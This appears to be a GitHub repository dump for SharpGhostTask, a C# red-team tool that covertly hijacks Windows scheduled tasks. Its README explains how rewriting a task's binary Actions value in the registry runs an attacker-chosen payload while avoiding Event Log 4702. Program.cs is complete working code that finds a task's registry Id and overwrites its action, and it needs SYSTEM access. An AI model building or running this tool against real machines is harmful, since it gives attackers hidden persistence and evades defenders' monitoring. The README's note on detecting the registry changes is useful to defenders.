├── SharpGhostTask ├── App.config ├── Properties │ └── AssemblyInfo.cs ├── SharpGhostTask.csproj └── Program.cs ├── SharpGhostTask.sln └── README.md /SharpGhostTask/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /SharpGhostTask/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("SharpGhostTask")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("SharpGhostTask")] 13 | [assembly: AssemblyCopyright("Copyright © 2024")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("1a8c9bd8-1800-46b0-8e22-7d3823c68366")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /SharpGhostTask.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.7.34031.279 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpGhostTask", "SharpGhostTask\SharpGhostTask.csproj", "{1A8C9BD8-1800-46B0-8E22-7D3823C68366}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Debug|x86 = Debug|x86 13 | Release|Any CPU = Release|Any CPU 14 | Release|x64 = Release|x64 15 | Release|x86 = Release|x86 16 | EndGlobalSection 17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 18 | {1A8C9BD8-1800-46B0-8E22-7D3823C68366}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 19 | {1A8C9BD8-1800-46B0-8E22-7D3823C68366}.Debug|Any CPU.Build.0 = Debug|Any CPU 20 | {1A8C9BD8-1800-46B0-8E22-7D3823C68366}.Debug|x64.ActiveCfg = Debug|x64 21 | {1A8C9BD8-1800-46B0-8E22-7D3823C68366}.Debug|x64.Build.0 = Debug|x64 22 | {1A8C9BD8-1800-46B0-8E22-7D3823C68366}.Debug|x86.ActiveCfg = Debug|x86 23 | {1A8C9BD8-1800-46B0-8E22-7D3823C68366}.Debug|x86.Build.0 = Debug|x86 24 | {1A8C9BD8-1800-46B0-8E22-7D3823C68366}.Release|Any CPU.ActiveCfg = Release|Any CPU 25 | {1A8C9BD8-1800-46B0-8E22-7D3823C68366}.Release|Any CPU.Build.0 = Release|Any CPU 26 | {1A8C9BD8-1800-46B0-8E22-7D3823C68366}.Release|x64.ActiveCfg = Release|x64 27 | {1A8C9BD8-1800-46B0-8E22-7D3823C68366}.Release|x64.Build.0 = Release|x64 28 | {1A8C9BD8-1800-46B0-8E22-7D3823C68366}.Release|x86.ActiveCfg = Release|x86 29 | {1A8C9BD8-1800-46B0-8E22-7D3823C68366}.Release|x86.Build.0 = Release|x86 30 | EndGlobalSection 31 | GlobalSection(SolutionProperties) = preSolution 32 | HideSolutionNode = FALSE 33 | EndGlobalSection 34 | GlobalSection(ExtensibilityGlobals) = postSolution 35 | SolutionGuid = {E66BD642-7996-45AD-8BDA-748A48E79BD6} 36 | EndGlobalSection 37 | EndGlobal 38 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SharpGhostTask 2 | A C# port from Invoke-GhostTask 3 | 4 | ## Description 5 | 6 | Tampering with Scheduled Task has been known and already worked with, in simply editing the tasks using the GUI interface or just the schtasks command when this happens they will leave an EventLog behind (4698) 7 | 8 | ![image](https://github.com/dmcxblue/SharpGhostTask/assets/41899653/f0794e99-4565-4f19-b151-b5398128dc1f) 9 | 10 | When editing a task this will also leave an EventLog behind (4702) we can see in the screenshot below that there was an update on a Task 11 | 12 | ![image](https://github.com/dmcxblue/SharpGhostTask/assets/41899653/7ccf5ee1-794b-49d1-8b9d-4165293e1a82) 13 | 14 | Scheduled Tasks can be edited in a more complicated way via the Registry Keys, that's where [Invoke-GhostTask](https://gist.github.com/Workingdaturah/991de2d176b4b8c8bafd29cc957e20c2) by [@SchrodingersAV](https://twitter.com/SchrodingersAV) comes in handy. SharpGhostTask basically uses the method from Invoke-GhostTask to edit the Registry Keys manipulating the binary values of the Task that is targetted. 15 | 16 | We can see below how this looks in the Registry Keys 17 | 18 | ![image](https://github.com/dmcxblue/SharpGhostTask/assets/41899653/7aaa8467-cbf6-47b2-87ca-381efb3b531c) 19 | 20 | SharpGhostTask will replace the binary value without breaking the rest of the Scheduled Task. This way replacing it with a payload that we control, in the following example we see the replaced binary value this time pointing to ```calc``` 21 | 22 | ![image](https://github.com/dmcxblue/SharpGhostTask/assets/41899653/1094048a-7d78-4b29-a4c8-51d8f6c8beab) 23 | 24 | By replacing this value via Registry Keys we also avoid the (4702) log from the Event Viewer, but monitoring the Registry Keys can be a giveaway. And this also comes with Challenges you will need SYSTEM Access to be able to edit these Registry Key Tasks. I've had luck executing the Task once it was changed, but to be safe a Restart is required. 25 | 26 | ## Demo 27 | 28 | ![SharpGhostTask](https://github.com/dmcxblue/SharpGhostTask/assets/41899653/d2045f62-cb50-4197-9205-78d285b4858b) 29 | 30 | 31 | -------------------------------------------------------------------------------- /SharpGhostTask/SharpGhostTask.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {1A8C9BD8-1800-46B0-8E22-7D3823C68366} 8 | Exe 9 | SharpGhostTask 10 | SharpGhostTask 11 | v4.8 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | false 19 | none 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | none 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | false 37 | bin\x64\Debug\ 38 | DEBUG;TRACE 39 | none 40 | x64 41 | 7.3 42 | none 43 | true 44 | 45 | 46 | bin\x64\Release\ 47 | TRACE 48 | true 49 | none 50 | x64 51 | 7.3 52 | none 53 | true 54 | 55 | 56 | false 57 | bin\x86\Debug\ 58 | DEBUG;TRACE 59 | none 60 | x86 61 | 7.3 62 | none 63 | true 64 | 65 | 66 | bin\x86\Release\ 67 | TRACE 68 | true 69 | pdbonly 70 | x86 71 | 7.3 72 | prompt 73 | true 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | -------------------------------------------------------------------------------- /SharpGhostTask/Program.cs: -------------------------------------------------------------------------------- 1 | using Microsoft.Win32; 2 | using System; 3 | using System.IO; 4 | using System.Linq; 5 | using System.Text; 6 | using System.Threading; 7 | 8 | namespace SharpGhostTask 9 | { 10 | class Program 11 | { 12 | static void Main(string[] args) 13 | { 14 | if (args.Length < 1) 15 | { 16 | Console.WriteLine("Usage: SharpGhostTask.exe --showtasks OR SharpGhostTask.exe --targettask [TargetTaskName] --targetbinary [Binary to point to] --help [To show this help menu]"); 17 | return; 18 | } 19 | 20 | string targetTask = null; 21 | string targetBinary = null; 22 | 23 | for (int i = 0; i < args.Length; i++) 24 | { 25 | if (args[i].ToLower() == "--showtasks") 26 | { 27 | ShowTasks(); 28 | return; 29 | } 30 | else if (args[i].ToLower() == "--help") 31 | { 32 | Help(); 33 | return; 34 | } 35 | else if (args[i].ToLower() == "--targetbinary" && i + 1 < args.Length) 36 | { 37 | targetBinary = args[i + 1]; 38 | i++; 39 | } 40 | else if (args[i].ToLower() == "--targettask" && i + 1 < args.Length) 41 | { 42 | targetTask = args[i + 1]; 43 | i++; 44 | } 45 | } 46 | 47 | if (!string.IsNullOrEmpty(targetTask)) 48 | { 49 | // Handle the case when --targettask is specified 50 | GhostTask(targetTask, targetBinary); 51 | } 52 | else 53 | { 54 | 55 | } 56 | 57 | void GhostTask(string Task, string targetB) 58 | { 59 | // Ghost Scheduled Tasks 60 | Console.ForegroundColor = ConsoleColor.Green; 61 | Console.WriteLine(@" 62 | .-. 63 | (o o) boo! 64 | | O \ 65 | \ \ 66 | `~~~' 67 | "); 68 | string targetPath = $"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\{Task}"; 69 | 70 | Console.WriteLine($"Ghosting Task {Task}"); 71 | 72 | string idValue = GetIdValue(targetPath); 73 | 74 | // Start Ghosting 75 | 76 | // Specify the registry path 77 | string registryKeyPath = $"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\{idValue}"; 78 | 79 | // Specify the name of the registry entry 80 | string valueName = "Actions"; 81 | 82 | //Display 83 | //DisplayKeyValues(registryKeyPath); 84 | 85 | // Specify the string value 86 | string stringValue = targetBinary; 87 | 88 | // Count how many characters 89 | int characterCount = stringValue.Length * 2; 90 | 91 | // Filler Decimal Values 92 | byte[] magicBytes1 = { 3, 0, 12, 0, 0, 0, 65, 0, 117, 0, 116, 0, 104, 0, 111, 0, 114, 0, 102, 102, 0, 0, 0, 0, 0, 0, 0, 0 }; 93 | 94 | // Find and replace the value of the 24 decimal location with a new value 95 | byte[] characterCountBytes = BitConverter.GetBytes(characterCount); 96 | Array.Copy(characterCountBytes, 0, magicBytes1, 24, characterCountBytes.Length); 97 | 98 | // Empty Values 99 | byte[] magicBytes2 = new byte[10]; 100 | 101 | // Convert the string to a byte array 102 | byte[] binaryDataFromString = System.Text.Encoding.Unicode.GetBytes(stringValue); 103 | 104 | // Concatenate the filler and binary data arrays 105 | byte[] combinedBinaryData = magicBytes1.Concat(binaryDataFromString).Concat(magicBytes2).ToArray(); 106 | 107 | int totalSteps = 10; 108 | 109 | for (int i = 0; i <= totalSteps; i++) 110 | { 111 | UpdateProgressBar(i, totalSteps); 112 | // Fake progress for niceness 113 | Thread.Sleep(500); 114 | } 115 | Console.WriteLine(""); 116 | // Create the registry entry with REG_BINARY value 117 | SetRegistryValue(registryKeyPath, valueName, combinedBinaryData); 118 | Console.WriteLine("Ghosted!!!"); 119 | 120 | Console.ForegroundColor = ConsoleColor.Gray; 121 | } 122 | 123 | void UpdateProgressBar(int currentStep, int totalSteps) 124 | { 125 | Console.Write("\r["); 126 | int progress = currentStep * 100 / totalSteps; 127 | 128 | for (int j = 0; j < 50; j++) 129 | { 130 | if (j < progress / 2) 131 | Console.Write("#"); 132 | else 133 | Console.Write(" "); 134 | } 135 | 136 | Console.Write($"] {progress}%"); 137 | } 138 | 139 | void SetRegistryValue(string keyPath, string valueName, byte[] valueData) 140 | { 141 | try 142 | { 143 | using (RegistryKey key = Registry.LocalMachine.OpenSubKey(keyPath, true)) 144 | { 145 | if (key != null) 146 | { 147 | // Set the registry value for the "Actions" key 148 | key.SetValue(valueName, valueData, RegistryValueKind.Binary); 149 | //Console.WriteLine($"Registry value '{valueName}' set successfully."); 150 | } 151 | else 152 | { 153 | Console.WriteLine($"Registry key '{keyPath}' not found."); 154 | } 155 | } 156 | } 157 | catch (Exception ex) 158 | { 159 | Console.WriteLine($"An error occurred: {ex.Message}"); 160 | } 161 | } 162 | 163 | string GetIdValue(string registryPath) 164 | { 165 | RegistryKey key = Registry.LocalMachine.OpenSubKey(registryPath); 166 | 167 | if (key != null) 168 | { 169 | // Retrieve the value of the "Id" key 170 | return key.GetValue("Id")?.ToString(); 171 | } 172 | else 173 | { 174 | Console.WriteLine($"Registry path '{registryPath}' not found."); 175 | return null; 176 | } 177 | } 178 | 179 | //Find Tasks 180 | void ShowTasks() 181 | { 182 | RegistryKey tasksKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree"); 183 | 184 | if (tasksKey != null) 185 | { 186 | string[] taskNames = tasksKey.GetSubKeyNames(); 187 | 188 | if (taskNames.Length > 0) 189 | { 190 | Console.WriteLine("Available Tasks:"); 191 | foreach (var taskName in taskNames) 192 | { 193 | Console.WriteLine(taskName); 194 | } 195 | } 196 | else 197 | { 198 | Console.WriteLine("No tasks found."); 199 | } 200 | } 201 | } 202 | 203 | void Help() 204 | { 205 | Console.WriteLine("Usage: SharpGhostTask.exe --showtasks OR SharpGhostTask.exe --targettask [TargetTaskName] --targetbinary [Binary to point to] --help [To show this help menu]"); 206 | return; 207 | } 208 | } 209 | } 210 | } 211 | --------------------------------------------------------------------------------